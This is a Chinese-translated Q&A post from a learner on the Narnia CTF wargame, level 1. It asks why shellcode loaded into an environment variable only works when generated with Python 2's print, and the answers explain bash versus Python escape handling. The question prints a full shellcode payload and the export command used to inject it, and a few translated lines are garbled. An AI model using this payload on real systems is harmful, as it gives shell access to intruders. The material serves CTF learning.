为什么我们在执行之前用 python 打印 shellcode?

Why do we print shellcode with python before executing it?

我目前正在通过 Narnia CTF 工作。我在第 1 层。在第 1 层,我们有一个调用环境变量的程序。我们可以更改此环境变量。当我尝试将环境变量设置为像这样的十六进制代码时,程序会抛出段错误。

export EGG="\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4\x53\x52\x54\x8a\xe2\xce\x81"

我在网上查了一下,似乎人们通过 python 打印生成 shellcode,然后将其存储为命令。当我使用上面的 shellcode 执行此操作时,它看起来像这样:

export EGG=$(python -c 'print "\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4\x53\x52\x54\x8a\xe2\xce\x81"')

当我用第二种方法时,程序运行成功。有人可以解释这两个命令有何不同吗?谢谢!

export EGG="\xeb\x11... 实际上并不解释转义序列。您正在将 EGG 设置为带有文字反斜杠和十六进制字符的字符串。

当您使用 export EGG=$(python -c 'print "\xeb\x11... 时,Python 的唯一工作是解释转义序列。 Python 接收带有文字反斜杠和十六进制字符的输入,并执行 Python 字符串文字解析,生成包含您想要的实际字节的字符串。

请注意,此代码依赖于使用 Python 2; Python 3个字符串处理方式大不相同。

这取决于您在 EGG 中想要什么。


export EGG="\xeb\x11"

将 8 个字符的字符串放入 EGG\xeb\x, 1, 1).


export EGG=$(python -c 'print "\xeb\x11"')

EGG 中放置一个 2 字符的字符串(0xEB 和 0x11,两者都不对应于可打印的 ASCII 字符)。